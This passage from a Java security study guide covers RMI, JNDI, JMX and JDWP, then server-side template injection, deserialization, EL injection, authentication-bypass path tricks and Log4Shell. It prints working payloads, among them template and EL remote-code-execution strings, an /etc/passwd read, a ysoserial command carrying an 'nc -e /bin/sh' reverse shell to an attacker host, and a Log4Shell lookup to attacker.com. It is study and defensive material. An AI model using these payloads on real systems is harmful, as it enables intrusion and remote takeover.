.RemoteObject remoteObject = (RemoteObject) Naming.lookup("//localhost/HelloService"); remoteObject.sayHello("World");
Server-Side:
- The server receives the call, deserializes the data, and identifies the remote object using the
ObjID
. - The specified method (
opnum
) is invoked with the provided parameters.public void sayHello(String name) { System.out.println("Hello, " + name); }
Response:
- The method’s return value is serialized and sent back to the client.
Readmore about JNDI
- Understanding JNDI in one article
- JAVA Protocol Security Notes-JNDI
- Explore the exploitation method of JNDI vulnerability under high version JDK
- Exploring the Exploitation Method of JNDI Vulnerability in Higher-Version JDK: Chapter 2
- Imperfect Conditions Competition JNDI Vulnerability Exploitation Chain Discovery Process
Java Logging
Standard Frameworks
- JUL (
java.util.logging
): Basic logging utility bundled with Java SE. Typically done throughlogging.properties
. - Log4j (Apache): One of the most popular frameworks, known for its configurability and performance. XML or YAML-based.
- Logback: A modern and powerful logging library designed as a successor to Log4j. Performance-focused with features like conditional logging and fine-grained configuration.
- SLF4J (Simple Logging Facade for Java): A facade for various logging frameworks (e.g., Log4j, Logback).
- Enables runtime flexibility by decoupling the logging API from its implementation.
- Provides bridges (e.g.,
log4j-over-slf4j
) for seamless integration of legacy libraries.
Logging Configuration
- Logging frameworks can be configured using different methods, including XML, properties files, and programmatic setups.
java.util.logging
managed via logging.properties
handlers=java.util.logging.ConsoleHandler
java.util.logging.ConsoleHandler.level=FINE
.level=INFO
Log4j via XML
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
SLF4J with Logback
<configuration>
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss} %-5level %logger{36} - %msg%n</pattern>
</encoder>
</appender>
<root level="debug">
<appender-ref ref="CONSOLE"/>
</root>
</configuration>
Readmore
Java Management Extension (JMX)
JMX Overview
- Enables monitoring and management of Java applications via MBeans (managed beans).
- MBeans: Expose readable/writable attributes and invokable operations.
- Readable Attributes: Expose current application state (e.g., memory usage).
- Writable Attributes: Enable configuration changes (e.g., thread pool size).
- Operations: Allow invoking application logic (e.g., triggering garbage collection).
- All MBeans are registered in an MBeanServer, acting as a registry.
JMX Connectors
- Clients interact with MBeans via the MBeanServer using connectors or protocol adapters.
- Java includes the standard RMI connector by default.
- Readmore: JSR 262: Web Services Connector for Java Management Extensions (JMX) Agents
JMX Authentication Mechanisms
- File-based Authentication:
- Enabled via
-Dcom.sun.management.jmxremote.authenticate=true
. - Uses plaintext credentials stored on disk.
- Enabled via
- SSL Authentication:
- Enabled with
-Dcom.sun.management.jmxremote.ssl=true
. - Proper configuration of a keystore (for the server) and a truststore (for clients).
- Enabled with
-Djavax.net.ssl.keyStore=server_keystore.jks
-Djavax.net.ssl.trustStore=client_truststore.jks
Readmore
- JSR 3: Java Management Extensions (JMX) Specification, including the JMX 1.0/1.1/1.2 standards;
- JSR 160: Java Management Extensions (JMX) Remote API
Debugging
Java Code Modification
- Burp Suite Infiltrator: Patches bytecode to add hooks for unsafe API calls.
Java Debuggers
- Use Eclipse IDE with
jd-eclipse
for decompiling closed-source code. - Use JD-GUI to decompile java applications.
Java Debug Wire Protocol (JDWP)
- Debugger Wire Protocol for remote debugging.
- Security concerns:
- No authentication or encryption.
- Detectable via
JDWP-Handshake
.
- Finding hosts exposing JDWP:
- Locally check in the process list for strings such as:
-Xdebug
-Xrunjdwp
-agentlib:jdwp
transport=dt_socket
- the address option indicates the listening port number
- Remotely
- Send “JDWP-Handshake” and see if the host responds with the same string. If no reply is got it means the remote service is JDWP.
- Use nmap –sV option:
$ nmap -sV -P0 -n -p
- JDWP has no default listening port, you can search inside code repositories (github, gitlab, etc.)
- Locally check in the process list for strings such as:
- Readmore:
Exploitation
Server Side Template Injection (SSTI)
- SSTI occurs when user-controlled input is directly processed by a server-side templating engine, leading to potential code execution or data leakage.
Common Templating Engines
FreeMarker
- Found in tools like Alfresco, Liferay, Crafter CMS, Ofbiz, and Khoros.
- Built-in functions like
?new
andexec()
enable executing arbitrary commands.${user.displayName} ${message}
- SSTI Example (RCE):
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
- Implements a
ClassResolver
to restrict accessible classes. - Allowed methods:
${.data_model.keySet()} ${request.servletContext.classLoader}
- The syntax
${NUMBER?lower_abc}
converts the number (0-based) into the corresponding alphabet character (1 → a
,26 → z
,27 → aa
). - Custom string combinations bypass sandbox checks:
${'calc'.toUpperCase()} or ${'c' + 'alc'}
. - Use intermediate expressions, such as calling
.get()
on a permissive object to access restricted methods. - Use dynamic string crafting to construct sensitive methods (e.g.,
Execute
). Example:${freemarker.template.utility.Execute("command")}
- Here is a list of common place where a Classloader might be returned.
java.lang.Class.getClassLoader()
java.lang.Thread.getCurrentClassLoader()
java.lang.ProtectionDomain.getClassLoader()
javax.servlet.ServletContext.getClassLoader()
org.osgi.framework.wiring.BundleWiring.getClassLoader()
org.springframework.context.ApplicationContext.getClassLoader()
Apache Velocity
- Found in systems like dotCMS, Cascade, Confluence, and XWiki.
- Template Syntax:
#set($foo = "bar") $foo
- SSTI Example (Command Execution):
#set($rt=$x.class.forName('java.lang.Runtime'))## #set($ex=$rt.getRuntime().exec('ls'))## $ex.waitFor()
- Restricts classes or entire packages:
introspector.restrict.packages = java.lang.reflect introspector.restrict.classes = java.lang.Class introspector.restrict.classes = java.lang.ClassLoader ...
- Blocklist checks are performed on current object class rather than inspecting the class hierarchy. eg:
${request.servletContext.classLoader.loadClass("CLASS")} $request.servletContext.classLoader.loadClass("com.sun.org.apache.xerces.internal.utils.ObjectFactory").newInstance("javax.script.ScriptEngineManager",null,true)
- Bug:
Thymeleaf
- Frequently used in Java Spring applications.
- Thymeleaf does not natively support sandboxes, making careful input sanitization critical.
${T(java.lang.Runtime).getRuntime().exec('id')}
to detect Thymeleaf.- SSTI Payload Example:
${#exec("id")}
Generic Exploitation Methods
ClassLoader Access
- Enables arbitrary file reads and class instantiation:
<#assign uri = classLoader.getResource("META-INF").toURI() > <#assign url = uri.resolve("file:///etc/passwd").toURL() > <#assign bytes = url.openConnection().getInputStream().readAllBytes() >
- Vulnerable APIs:
- java.lang.Class.getClassLoader()
- java.lang.Thread.getCurrentClassLoader()
- java.lang.ProtectionDomain.getClassLoader()
- javax.servlet.ServletContext.getClassLoader()
- org.osgi.framework.wiring.BundleWiring.getClassLoader()
- org.springframework.context.ApplicationContext.getClassLoader()
Indirect Object Access
Access server-specific contexts like:
javax.servlet.http.HttpSession.getAttributeNames()
$session | $request.session
javax.servlet.http.ServletRequest.getAttributeNames()
$req | $request | $session.request
javax.servlet.ServletContext.getAttributeNames()
$application | $request.servletContext | $session.servletContext
InstanceManager or ObjectFactory
- Allows arbitrary object instantiation:
${im.newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval('CODE')}
- ServletContext attributes on Tomcat, Jetty, WildFly (JBoss)
org.apache.catalina.InstanceManager
org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManager
org.eclipse.jetty.util.DecoratedObjectFactory
- WebApp Classloaders
- Tomcat
$request.servletContext.classLoader.resources.context.instanceManager
- Jetty
$request.servletContext.classLoader.context.objectFactory
- Tomcat
Spring Application Context
getClassLoader()
getEnvironment()
getBean()
- Control application logic
- Disable sandboxes
- Instantiate arbitrary objects
- ServletContext attribute
org.springframework.web.context.WebApplicationContext.ROOT
- Spring Macro Request Context
- Injected by Spring MVC automatically (normally undocumented in CMS)
$springMacroRequestContext.getWebApplicationContext()
Sandbox Bypass Techniques
Blocked Classes
- Example:
java.lang.Class.getClassLoader
is often blocked. - Developers may fail to block all related methods, e.g.,
Thread.getContextClassLoader
.
Reflection Misuse
- Example payload bypassing sandboxes:
${request.servletContext.classLoader.loadClass("CLASS")}
Readmore about Template Engine
- Room for Escape: Scribbling Outside the Lines of Template Security
- JSON Attacks
- Server-Side Template Injection: RCE for the modern webapp
- Template Engines Injection 101
- Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning
- A Survey of the Overlooked Dangers of Template Engines
- Server-Side Template Injection: Transforming Web Applications from Assets to Liabilities
- A Pentester’s Guide to Server Side Template Injection (SSTI)
- Limitations are just an illusion - advanced server-side template exploitation with RCE everywhere
- Template Injection Table
- Template injection workshop
Bugs
- DOJO Challenge #28 Winners!
- GHSL-2020-227: Server-Side Template Injection leading to unauthenticated Remote Code Execution in SCIMono - CVE-2021-21479
- GHSL-2020-213: Server-Side Template Injection in BrowserUp Proxy - CVE-2020-26282
- GHSL-2020-212: Template injection in Cron-utils - CVE-2020-26238
- GHSL-2020-204: Server-Side Template Injection in Corona Warn App Server
- GHSL-2020-076: Server-Side Template Injection in Cascade CMS
- GHSL-2020-046: Server-Side Template Injection in XWiki
- GHSL-2020-042: Server-Side Template Injection in Crafter CMS
- GHSL-2020-071: Server-side template injection in Lithium CMS
- GHSL-2020-047: Server-side template injection in dotCMS
- GHSL-2020-045: Server-side template injection in Atlassian Confluence - CVE-2020-4027
- GHSL-2020-043: Server-side template injection in Liferay - CVE-2020-13445
- GHSL-2020-039: Server-side template injection in Alfresco - CVE-2020-12873
- GHSL-2020-028: Server-Side Template Injection in Netflix Titus
- GHSL-2020-027: Server-Side Template Injection in Netflix Conductor
Attack Categories for JRMP
Unsafe Reflection with ObjectFactory
- This attack exploits the
org.apache.naming.ResourceRef
class, which extendsjavax.naming.Reference
, allowing attackers to reference objects implementing thejavax.naming.spi.ObjectFactory
interface and itsgetObjectInstance
method.
How it works?
- Exploits JNDI and
ObjectFactory
for remote execution via reflection. javax.naming.Reference
: Used to store information about an object to be created later by anObjectFactory
.org.apache.naming.ResourceRef
extendsjavax.naming.Reference
, allowing the use of objects implementingjavax.naming.spi.ObjectFactory
.org.apache.naming.factory.BeanFactory.getObjectInstance
enables specification of a property setter, useful for exploitation.
Constraints for Exploitation
- Target class must have an empty constructor.
- A single string parameter method capable of performing unsafe or dangerous operations (e.g.,
Runtime.exec
or other reflection-based code execution). - Vulnerable server must include Apache Tomcat-Catalina libraries to utilize
ResourceRef
.
Exploitation Workflow
- Create a
javax.naming.Reference
object configured to invoke a specificObjectFactory
, such asBeanFactory
. - Set the
x
parameter to a malicious Expression Language (EL) payload. - Use
javax.el.ELProcessor
to evaluate EL expressions. - Create a forced
HashMap
containing properties and methods:- Set the parameter
x
to malicious EL code. - Call
javax.el.ELProcessor.eval(x)
to execute.
- Set the parameter
javax.naming.Reference ref = new javax.naming.Reference(
"java.lang.Runtime",
"org.apache.naming.factory.BeanFactory",
null
);
ref.add(new javax.naming.StringRefAddr("x", "malicious EL payload"));
Defense Mechanisms
- Prevent dynamic loading of untrusted classes by setting
java.rmi.server.useCodebaseOnly=true
. - Use a secure implementation like Spring JNDI Factory or validate all JNDI resource configurations.
- Avoid
org.apache.naming.factory.BeanFactory
for sensitive configurations.
Readmore
- JNDI Injection Remote Code Execution via Path Manipulation in MemoryUserDatabaseFactory
- Exploiting JNDI Injections in Java
- The history of JNDI injection vulnerabilities
Distributed Garbage Collector (DGC) Deserialization
Attack Vectors
Malicious RMI Client → Vulnerable RMI Registry Server
- Exploits registry methods like
bind()
,rebind()
,lookup()
and DGC (ObjID 2
) to trigger deserialization. - Tools:
RMIRegistryExploit
: Binds malicious objects to the registry.JRMPClient
: Exploits client-server communication.
- Known vulnerabilities:
- Allow list bypass by An Trinh at Black Hat EU 2019, patched in Java SE 8u241 (January 2020).
- Exploitation of
RemoteObjectInvocationHandler
.
- Bypasses:
- Exploits
UnicastRemoteObject
’s reliance onObjectInputStream
deserialization. - Service methods with non-primitive arguments (e.g.,
String
) can be abused to trigger deserialization. - Arrays of primitive types (extending
Object
) are also exploitable in vulnerable implementations. String
deserialization attacks are feasible only in Java versions prior to 8u242.
- Exploits
Malicious RMI Registry Server → Vulnerable RMI Client
- Targets the RMI client and exploits RMI Lookups and DGC.
- Tools:
JRMPListener
acts as a rogue RMI registry server to serve malicious payloads during clientlookups()
.
Limitations
- Requires knowledge of service methods and parameter types.
- Mitigated by Java SE 8u241, which introduced stronger deserialization protections.
- Restrict RMI registry and service access to trusted environments.
RMI Registry Manipulation
- The RMI registry allows lookup and binding of objects via
bind()
: Bind malicious objects to registry names.rebind()
: Hijack an existing service by re-binding a malicious object.lookup()
: Query and enumerate available registry names for reconnaissance.
- Redirects legitimate clients to malicious objects. Enables deserialization attacks through malicious object payloads.
Registry registry = LocateRegistry.getRegistry("target-host", 1099); registry.rebind("TargetService", maliciousObject);
RMI Deserialization Attacks
- Exploiting
readObject()
during remote method calls. - JRMP deserializes objects passed as method parameters.
- An attacker crafts a malicious serialized payload with:
- Gadget Chains: Classes in the target’s classpath used to execute arbitrary code.
- Golden Gadgets: Purely JDK-based gadget chains (e.g.,
sun.rmi.server.UnicastRef
).
- Malicious payloads are passed to vulnerable methods, such as
lookup()
andinvoke()
.ysoserial CommonsCollections5 'nc -e /bin/sh attacker-ip 4444' | nc target-host 1099
Codebase Injection or Remote Class Loading
- Dynamic class loading via
java.rmi.server.codebase
. - JRMP can dynamically load classes specified in the
codebase
property. - An attacker hosts a malicious JAR file on an accessible HTTP/FTP server and binds an object.
- The victim’s JVM fetches and executes classes from the attacker’s codebase.
- Persistence via custom backdoors or malicious classes.
System.setProperty("java.rmi.server.codebase", "http://server/payload.jar");
Exploiting JRMP Relay
- Using an exposed JRMP endpoint to relay attacks to internal networks.
- This attack is facilitated through deserialization gadgets or tools like ysoserial.
- Lateral movement within a network.
Mitigations for JRMP
- Limit access to the RMI registry (e.g., via firewalls or VPNs). Require authentication for registry access.
- Set
java.rmi.server.useCodebaseOnly=true
to prevent fetching remote codebases. - Secure RMI communication using SSL/TLS with
SSLServerSocketFactory
. - Monitor and filter calls to
ObjID 2
. Disable unnecessary garbage collection-related RMI calls if not needed. - Remove unused libraries or dependencies to minimize gadget availability. Regularly patch and update JDK versions to reduce exposure to known gadget chains.
- Implement custom
Registry
implementations with authentication checks.
Java Management Extension (JMX) Vulnerabilities
JMX/RMI Misconfigurations
- Missing or improper authentication on JMX endpoints can grant attackers full access to sensitive attributes and operations.
- Publicly exposed RMI endpoints are particularly dangerous.
- Weak or plaintext credentials in file-based authentication can be easily extracted.
JMX Exploitation
- Java MBeans Requirements: MBean classes must follow specific design patterns or implement certain interfaces. Notable classes include javax.management.StandardMBean and javax.management.modelmbean.RequiredModelMBean.
- Unexpected MBean Behaviors: These MBean classes allow remote invocation of arbitrary instance methods on serializable objects and arbitrary static methods on any class, leading to potential unexpected behaviors.
- StandardMBean Class: Uses reflection to determine attributes and operations based on Java interface classes, enabling the creation and method invocation on MBeans of arbitrary classes, as long as they are serializable.
- TemplatesImpl Class: Known for its role in Java deserialization exploits, it allows remote execution of arbitrary code via methods like getOutputProperties() and newTransformer() during deserialization.
- RequiredModelMBean Class: More versatile than StandardMBean, it allows specification of attributes and operations through ModelMBeanInfo, enabling the invocation of methods that do not follow JavaBeans conventions, and even static methods on any class with a provided descriptor.
SSRF
- JMX services are often targeted due to poor security practices, making SSRF attacks on JMX endpoints a significant threat, especially when securing JMX with user authentication or certificates is neglected.
- JMX employs session management using ObjID values, requiring clients to perform a lookup operation on the RMI registry and then establish a session via the
newClient
method with appropriate credentials. - To exploit JMX via SSRF, attackers must:
- Lookup the JMX bound name from the RMI registry,
- Call the
newClient
method to establish a session, and - Quickly perform operations before the remote object gets garbage collected.
- Attackers can create and load a malicious MBean using the
MLet
MBean to achieve remote code execution, by invoking methods such asgetMBeansFromURL
. - Due to the Distributed Garbage Collector (DGC), the remote object created via SSRF gets garbage collected if not used promptly, necessitating quick execution of all steps to maintain access and exploit the JMX service.
- Readmore:
Readmore
- JMX Exploitation Revisited
- JMX RMI – Multiple Applications (RCE)
- JMX Exploitation Revisited - Markus Wulftange
- https://zhuanlan.zhihu.com/p/166530442
- Sleepwalking from jmx to rce - Y4er
- Attacking RMI based JMX services - @h0ng10
- Java RMI for pentesters: structure, recon and communication (non-JMX Registries).
- Java RMI for pentesters part two
Authentication Bypass
- Bypass Tricks, which
/api/flag
mutate the original URI to achieve the purpose of normal routing to the same Servlet:hack/api/flag
: Based on the variation ofreadRequest
judging that the first character of the URI is not/
;/api/fla%67
:normalizeUriEscape
Decoding-based mutation;/api/fla%u0067
: Based onscanUriEscape
the special URL encoding variation in ;/api//flag
: Based onnormalizeUri
the variation of 2.1;/api/./flag
: Based onnormalizeUri
the variation of 2.2;../api/flag
: Based onnormalizeUri
the variation of 2.3;/api\flag
: Based onnormalizeUri
the variation of 2.4, all separators will be converted to/
;/api/flag%20
(space),/api/flag.
:normalizeUri
A variation based on 2.4, valid only on Windows systems;/api/flag;a=b
: ForstripPathParameters
the variation of ;/api/flag%0a
: A variation based on regular expressions$
that do not match newlines;
- First, decode the URI, then replace the backslashes, and ignore the URI standard,
..
just delete them, delete the path parameters, and//
process the spaces, etc. It seems flawless, right? But if you look closely, you will find that there are still some problems, such as:- uriDecode may fail, resulting in no decoding and returning the original path;
- After URI decoding, the path may be capitalized. If you request a JSP or other file in WIndows, it can be routed correctly.
- The path parameters are deleted after
./
, so.;xxx/
they still exist after processing./
; - Delete spaces
\s
after normalization//
, so/%20/
it can still bypass replacement return//
;
Readmore
Expression Language Injection
EL payload must be concise
- Must be a one-liner.
- Cannot call static methods directly.
- Starts from a variable in EL scope.
Payload Examples
Process Execution: Payload to create and start a new process (touch /tmp/pwn
)
#{"".getClass().forName("java.lang.ProcessBuilder").getConstructors()[1].newInstance("touch~/tmp/pwn".split("~")).start()}
Runtime Invocation: Payload to execute xcalc
using java.lang.Runtime
#{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("xcalc")}
Fine-Tuning EL Payloads
- EL behavior varies across implementations.
- Constructor order in
getConstructors()
changes per JVM restart. - Example to use EL to manipulate HTTP headers while referencing Java classes:
${facesContext.getExternalContext().setResponseHeader("S0","".getClass().forName("java.lang.ProcessBuilder").getConstructors()[0].toString())}
Readmore
- GHSL-2020-015: Remote Code Execution - Bypass of CVE-2018-16621 mitigations in Nexus Repository Manager
- GHSL-2020-012: Remote Code Execution - JavaEL Injection (high privileged accounts) in Nexus Repository Manager
- GHSL-2020-011: Remote Code Execution - JavaEL Injection (low privileged accounts) in Nexus Repository Manager
- Bean Stalking: Growing Java beans into Remote Code Execution
Deserialization Exploitation
CVE-2020-2555 (Oracle T3 Protocol Deserialization)
- RCE via
com.tangosol.util.extractor.ChainedExtractor
custom gadgets. - Create a custom gadget chain using
ChainedExtractor
. - Inject the payload into T3 communication to trigger deserialization.
- Readmore:
CVE-2020-9484 (Apache Tomcat)
- The PersistentManager in Tomcat enables swapping idle sessions to disk, potentially exposing them to attacks if a vulnerable FileStore is used.
- Attackers can exploit JSESSIONID path traversal to force the manager to deserialize malicious serialized files stored on the server.
- Successful exploitation requires a file upload vulnerability, attacker-controlled filenames, and deserialization gadgets in the classpath.
- By tampering with session paths, attackers can execute Remote Code Execution (RCE) before Tomcat identifies the file as invalid.
- The attack depends on specific configurations and conditions, making it impactful but less likely to succeed widely.
- Readmore:
CVE-2020-5902 (F5 Big‑IP)
- A misconfigured proxy_ajp.conf file in Apache can allow bypassing authorization, granting unauthorized access to Tomcat endpoints via URL manipulation (e.g.,
/..;/
path traversal). - Attackers can exploit hidden endpoints like HSQLDB to access sensitive databases without authentication, leveraging default credentials.
- HSQLDB allows execution of arbitrary SQL queries and stored procedures, including Java static methods, through its CALL statement.
- Using Jython’s context in HSQLDB, attackers can execute commands like
Runtime.getRuntime().exec()
for Remote Code Execution (RCE). - A final exploit involves sending crafted DNS or network requests to verify and execute RCE on vulnerable systems.
- Readmore:
JSF ViewState
- ViewStates in JSF are serialized Java objects.
- Tracks user session and serialized into forms as hidden fields.
- Can be encrypted or plaintext, depending on configuration.
- Client-side ViewState:
- Serialized session data transmitted in POST requests.
- High overhead due to large request sizes.
- Server-side ViewState:
- Serialized session ID transmitted.
- Server reconstructs session from memory.
- Configured to sit on the server the hidden
javax.faces.ViewState
field contains an id that helps the server to retrieve the correct state.
- The preconditions for a successful attack
- Unencrypted ViewState.
- Gadget on the classpath of the server.
- In case of Mojarra: ViewState configured to reside on the
client
. - In case of MyFaces: ViewState configured to reside on the
client
or theserver
.
- Readmore:
Apache Shiro Java Deserialization
- From the official issue, there are several important points:
- rememberMe cookie
- CookieRememberMeManager.java
- Base64
- AES
- Encryption keys are hardcoded
- Java serialization
- The rememberMe cookie uses Base64 encoding and AES symmetric encryption with a hardcoded key for securing serialized data.
- The encryption key (
kPH+bIxk5D2deZiIxcaaaA==
) is decoded from Base64 and used for both encryption and decryption. - AES operates in CBC mode, but the initialization vector (IV) is not actually utilized during the process.
- The serialized object in the cookie is SimplePrincipalCollection, with its byte array generated through custom serialization methods (
writeObject
andreadObject
). - Java deserialization is triggered in the DefaultSerializer class when the cookie is processed.
- Readmore:
Labs Java Deserialization
- Lab: Exploiting Java deserialization with Apache Commons
- Lab: Developing a custom gadget chain for Java deserialization
- Hack The Box - Arkham
Cheatsheet
Bugs
- CVE-2023-34212: Java Deserialization via JNDI Components in Apache NiFi
- CVE-2022-41853: Using static functions to obtian RCE via Java Deserialization & Remote Codebase Attack
- Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution
- A Trio of Bugs Used to Exploit Inductive Automation at Pwn2Own Miami
- Java deserialization vulnerability in QRadar RemoteJavaScript Servlet
- GHSL-2021-097: Pre-Auth Unsafe Java Deserialization in Apace Dubbo - CVE-2021-37579
- Tricking blind Java deserialization for a treat
- CVE-2020–2950 — Turning AMF Deserialize bug to Java Deserialize bug
- Atlassian Bitbucket Data Center RCE(CVE-2022-26133)
- Remote Java classpath enumeration with EnumJavaLibs
- Exploiting blind Java deserialization with Burp and Ysoserial
- Testing and exploiting Java Deserialization in 2021
Mitigations
Bypass
Tools
Local File Inclusion (LFI)
JSP Exploitation
- The
include
andimport
functions in JSP are often used to dynamically include resources into a web application.
include
Function
- Embeds the content of a local file into the JSP output.
- Attacker can include arbitrary files, e.g.,
/etc/passwd
, application logs or application configuration files (e.g.,web.xml
,.properties
files). - Capabilities:
- Can read files on the server but cannot execute them as JSP/Java code.
- Restricted to local file paths.
- Example code:
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
import
Function
- Imports resources (files or URLs) and optionally executes them if they are executable scripts or JSP pages.
- Attacker can execute remote scripts hosted on their server, enabling Remote Code Execution (RCE).
- Local file execution is possible if the resource is an executable script (e.g.,
.jsp
,.sh
). - Capabilities:
- Can read and execute both local and remote resources.
- Remote URL functionality makes it more dangerous than
include
.
- Example code:
<c:import url="<%= request.getParameter('language') %>" />
Bugs
- GHSL-2020-072: Arbitrary file disclosure in JinJava - CVE-2020-12668
- URL eccentricities in java
- Arbitrary File Upload Tricks In Java
Java Logging Vulnerabilities
Log Injection Attacks
- Attackers can manipulate log messages to inject malicious content.
logger.info("User login: " + userInput); // User-provided input can lead to injection.
Log4Shell (CVE-2021-44228)
- Log4j versions prior to 2.15.0 were vulnerable to remote code execution via JNDI lookups in log messages.
${jndi:ldap://attacker.com/payload}
- Disable JNDI lookups via:
-Dlog4j2.formatMsgNoLookups=true
- Readmore:
Sensitive Data Exposure
- Logging sensitive information (e.g., passwords, tokens) can inadvertently expose it in logs.
logger.debug("User password: " + password); // Avoid logging sensitive information.
Uncontrolled Log File Permissions
- Improper file permissions on log files can lead to unauthorized access.
Readmore
What’s Next?
- How I Chained 4 Bugs (Features?) into RCE on Amazon Collaboration System
- How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM
- A Quick Look at CVE-2021–21985 VCenter Pre-Auth RCE
- Analysis of Pre-Auth RCE Vulnerability on ForgeRock AM (CVE-2021–35464)
- Atlassian Confluence Pre-Auth RCE (CVE-2021–26084) and the story of “blind spots” when finding bugs
- Oracle Business Intelligence Miscellaneous part 1
- Quick note of vCenter RCE (CVE-2021–22005)
- Return of the Rhino — Analysis of MozillaRhino gadgetchain (also the writeup of HITB linkextractor)
- Some notes about Xalan-J Integer Truncation (CVE-2022–34169)
- GHSL-2023-045: LDAP injection in Bounty Castle For Java - CVE-2023-33201
- GHSL-2022-024: Regular Expression Denial of Service (ReDoS) in the Azure SDK for Java
- GHSL-2020-050: Arbitrary code execution in Pebble Templates
- Exploiting H2 Database with native libraries and JNI
- Pwn a CTF Platform with Java JRMP Gadget
- When Java throws you a Lemon, make Limenade: Sandbox escape by type confusion
- Fastjson: exceptional deserialization vulnerabilities
- Weakness in Java TLS Host Verification
- Java Remote Code Execution Potpourri
- Java applet + serialization in 2024! What could go wrong?
- CVE-2023-21939 - Code Exec
- Pwn2Owning Two Hosts at the Same Time: Abusing Inductive Automation Ignition’s Custom Deserialization
- Details on the Oracle WebLogic Vulnerability Being Exploited in the Wild
- Richsploit: One tool to exploit all versions of RichFaces ever released
- Interactive modification of Java Serialized Objects with SerialTweaker
- Miracle - One Vulnerability To Rule Them All
- Vulnerability discovery in Java applications
- bd-j exploit chain
- Application of Fuzzing in Java Vulnerability Discovery
- Java Application Security: JEB Floating License Bypass
- Gregor Samsa: Exploiting Java’s XML Signature Verification
- A brief discussion on Java memory attack techniques
- XML Security in Java
- Router4 – Application routing scanning basics and core code analysis
- How to detect and exploit the Oracle WebLogic RCE (CVE-2020-14882 & CVE-2020-14883)
- CVE-2023-20864: Remote Code Execution in VMware Aria Operations for Logs
- Weblogic RCE by only one GET request — CVE-2020–14882 Analysis
- Oracle Access Manager Pre-Auth RCE (CVE-2021–35587 Analysis)
- Abusing Java Remote Protocols in IBM WebSphere
- y4tacker’s Java Articles
- Injecting Java in-memory payloads for post-exploitation
- CVE-2023-49070/CVE-2023-51467 Apache OfBiz
- CVE-2020-9496 Apache OfBiz
- Atlassian Confluence CVE-2023-22527
- Oracle Injection RCE from the shallow to the deep
- Eat What You Kill :: Pre-authenticated Remote Code Execution in VMWare NSX Manager
- IAM Whoever I Say IAM :: Infiltrating VMWare Workspace ONE Access Using a 0-Click Exploit
- ZohOwned :: A Critical Authentication Bypass on Zoho ManageEngine Desktop Central
- From Serialized to Shell :: Auditing Google Web Toolkit
- Attacking Unmarshallers :: JNDI Injection using Getter Based Deserialization Gadgets
- From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection
Resources
- 100 Java Mistakes and How to Avoid Them
- Persistence Best Practices for Java Applications
- Transitioning to Java: Kickstart your polyglot programming journey by getting a clear understanding of Java
- Spring Boot 3.0 Cookbook: Proven recipes for building modern and robust Java web applications with Spring Boot
- Java Coding Problems: Become an expert Java programmer by solving over 200 brand-new, modern, real-world problems
- Java Memory Management: A comprehensive guide to garbage collection and JVM tuning
- JVM Performance Engineering: Inside OpenJDK and the HotSpot Java Virtual Machine
- Java Persistence with NoSQL: Revolutionize your Java apps with NoSQL integration
- Java EE 8 Application Development
- How to Read Java: Understanding, debugging, and optimizing JVM applications